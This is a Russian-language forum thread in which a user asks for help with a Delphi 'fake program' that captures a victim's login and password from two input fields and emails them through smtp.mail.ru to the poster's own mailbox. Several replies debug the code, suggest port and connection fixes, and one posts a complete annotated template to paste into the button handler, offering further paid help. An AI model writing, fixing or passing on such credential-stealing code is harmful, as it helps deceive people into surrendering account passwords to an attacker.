Прошу помогите.

[webster332]

Добрый день.Вот решил создать фейк программу....
Вод код:
idmessage1.Recipients.emailaddresses:='webster332@ mail.ru';
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]';
idmessage1.Body.Text:='Логин:'+edit1.text+'Пароль: '+edit2.text;
idmessage1.subject:='tema';
idmessage1.ContentType:='text/plain';
idPOP31.username:='[Ссылки могут видеть только зарегистрированные пользователи. ]';
idPOP31.Password:='*******';
idPOP31.Host:='pop3.mail.ru';
idPOP31.Port:=110;
idPOP31.Connect();
idSmtp1.username:='[Ссылки могут видеть только зарегистрированные пользователи. ]';
idSmtp1.Password:='******';
idsmtp1.Host:='smtp.mail.ru';
idsmtp1.Port:=587;
idsmtp1.Connect();
idsmtp1.Send(idmessage1);
idsmtp1.Disconnect();
idPOP31.Disconnect();
Нажумию плей что бы проверить прогу....
Открываеться собственно окно проги.Жму Button и вылетает ошибка.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Прошу помогите,мучаюсь более недели.

[Доминик]

idmessage1.Recipients.emailaddresses:='webster332@ mail.ru' //Пробел после "@"?
idmessage1.ContentType:='text/plain' //Я делал вообще без этот строчки, всё работало.
idSmtp1.username:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; //Сомнения по поводу @mail.ru (Я писал просто логин).
idsmtp1.Port:=587; //На сколько я помню, порт 25.

idsmtp1.Connect();
idsmtp1.Send(idmessage1);
idsmtp1.Disconnect(); //Поставь на всякий случай условие после IdSMTP1.Connect():

Цитата: if IdSMTP1.Connected = True then begin IdSMTP1.Send(IdMessage1); Application.MessageBox('Не удалось подключиться к серверу', 'Ошибка'); //Не обязательно. IdSMTP1.Disconnect(); end;

И ещё...
IdPOP3 тебе для чего?

Если не получится, пиши в аську: 2-487-597. Помогу за $. (:

[Хакерок:)]

idmessage1.CharSet:='windows-1251';
idmessage1.ContentType  := 'text/html';
idSmtp1.Host:='smtp.mail.ru'; //СМТП сервер
idSmtp1.Port:=587;      // порт
idSmtp1.Username:='Логин ящика'; //логин ящика откуда отсылаем
idSmtp1.Password:='Пароль';  //пас от ящика
idmessage1.Body.Text:='Логин: '+Edit1.Text+'; Пароль: '+Edit2.Text+''; //текст сообщения. Сюда вставляется введённый в едит1 и едит2 текст.
idmessage1.From.Text:='Откуда письмо';//Откуда идёт письмо
idmessage1.Recipients.EMailAddresses:='мыло куда идёт письмо'; // мыло куда будут приходить письма
idmessage1.Subject:='Тема письма';  // Тема письма

idsmtp1.Connect(); // соединение
idsmtp1.Send(idmessage1); //отправить сообщение 1
idsmtp1.Disconnect(); // дисконнект

Я это уже писал в другой теме. Вставь в процедуру кнопки, а красное сам отредактируй и всё....

[Тигрь]

Эта ошибка возникает при отправлении команды HELO. Написал статейку. Там все подробно расписано.